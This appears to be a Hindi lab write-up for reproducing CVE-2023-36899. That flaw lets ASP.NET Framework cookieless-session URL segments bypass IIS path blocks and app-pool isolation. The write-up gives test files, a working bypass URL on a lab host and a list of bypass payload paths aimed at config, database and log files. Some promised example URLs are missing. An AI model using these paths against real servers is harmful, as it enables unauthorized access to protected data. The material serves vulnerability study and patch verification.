
CVE-2023-36899 भेद्यता के पुनरुत्पादन वातावरण और उपकरण, जो ASP.NET फ्रेमवर्क में कुकी-रहित सत्र प्रमाणीकरण बायपास को लक्षित करते हैं।
CVE-2023-36899 कमज़ोरी के लिए पुनरुत्पादन वातावरण और उपकरण, ASP.NET फ्रेमवर्क में कुकी-रहित सत्र प्रमाणीकरण बाईपास के लिए।
Cookieless DuoDrop: ASP.NET फ्रेमवर्क में IIS Auth Bypass और App Pool Privesc (CVE-2023-36899)
आधुनिक वेब विकास में, हालाँकि सत्र ID संचारित करने के लिए कुकीज़ पसंदीदा तरीका हैं, .NET फ्रेमवर्क एक विकल्प भी प्रदान करता है: सत्र ID को सीधे URL में एन्कोड करना। इस तकनीक को .NET फ्रेमवर्क में "कुकी-रहित" (cookieless) सुविधा कहा जाता है। कई डेवलपर्स और सुरक्षा परीक्षक इस विकल्प को अनदेखा कर देते हैं, क्योंकि यह वास्तविक अनुप्रयोगों में दुर्लभ है। हालाँकि, यह क्लाइंट-साइड कमज़ोरियों जैसे सत्र फिक्सेशन, सत्र हाइजैकिंग, HTML इंजेक्शन और क्रॉस-साइट स्क्रिप्टिंग की खोज के लिए एक खज़ाना बन गया है। इसके अलावा, इस सुविधा का दुरुपयोग उन पथ-आधारित फ़ायरवॉल नियमों को बायपास करने के लिए किया जा सकता है जिन्हें कुकी-रहित विधि को पहचानने के लिए कॉन्फ़िगर नहीं किया गया है। अंतर्निहित सुरक्षा समस्याओं के कारण, .NET Core और बाद के .NET संस्करणों ने कुकी-रहित सुविधा को हटा दिया है। लेकिन हम उन असंख्य वेब अनुप्रयोगों को नहीं भूल सकते जो अभी भी क्लासिक .NET फ्रेमवर्क का उपयोग कर रहे हैं।
मुख्य बिंदु:
.NET फ्रेमवर्क की कुकी-रहित सुविधा का दुरुपयोग संरक्षित निर्देशिकाओं या IIS के URL फ़िल्टर द्वारा अवरुद्ध निर्देशिकाओं तक पहुँचने के लिए किया जा सकता है। उदाहरण के लिए, victim.com वेबसाइट पर निम्नलिखित स्थिति पर विचार करें:
सामान्य रूप से, इन URL के माध्यम से पृष्ठों तक पहुँचने का प्रयास IIS में अवरुद्ध कर दिया जाएगा:
लेकिन, कुकी-रहित सुविधा का उपयोग करके निम्नलिखित पैटर्न के माध्यम से इन पृष्ठों तक पहुँचा जा सकता है:
IIS द्वारा एप्लिकेशन पूल का प्रबंधन किस प्रकार किया जाता है, इससे विशेषाधिकार वृद्धि या सुरक्षा बाईपास हो सकता है। .NET फ्रेमवर्क की कुकी-रहित सुविधा में हेरफेर करके IIS एप्लिकेशन को अपने स्वयं के एप्लिकेशन पूल के बजाय अपने मूल एप्लिकेशन पूल का उपयोग करके चलाने के लिए बाध्य किया जा सकता है। उदाहरण के लिए:
AppPoolPrint.aspx नामक एक C# फ़ाइल उपरोक्त सभी एप्लिकेशनों में पहुँच योग्य है, और वर्तमान एप्लिकेशन पूल का नाम प्रदर्शित करती है। कुकी-रहित सुविधा का दो बार उपयोग करके, हम इस पृष्ठ को उसके मूल एप्लिकेशन पूल के साथ चला सकते हैं:
यह /classic/nodotnet/ में पृष्ठों को भी (जिन्हें प्रबंधित कोड नहीं चलाना चाहिए) अपने मूल एप्लिकेशन पूल का उपयोग करके ASPX पृष्ठ चलाने की अनुमति देता है। यह व्यवहार IIS पर विशेषाधिकार वृद्धि का कारण बन सकता है।
IIS स्थापित करते समय चुनें:
target.aspx फ़ाइल परीक्षण सामग्री:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
रूट निर्देशिका में web.config फ़ाइल परीक्षण सामग्री:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
इसमें का अर्थ है कि वेबसाइट कुछ डिफ़ॉल्ट सत्र जानकारी आदि संग्रहीत करने के लिए कुकीज़ का उपयोग करती है, और यह डिफ़ॉल्ट भी यही है

http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx का उपयोग करके सफलतापूर्वक पहुँचें

संभावित payload सूची:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899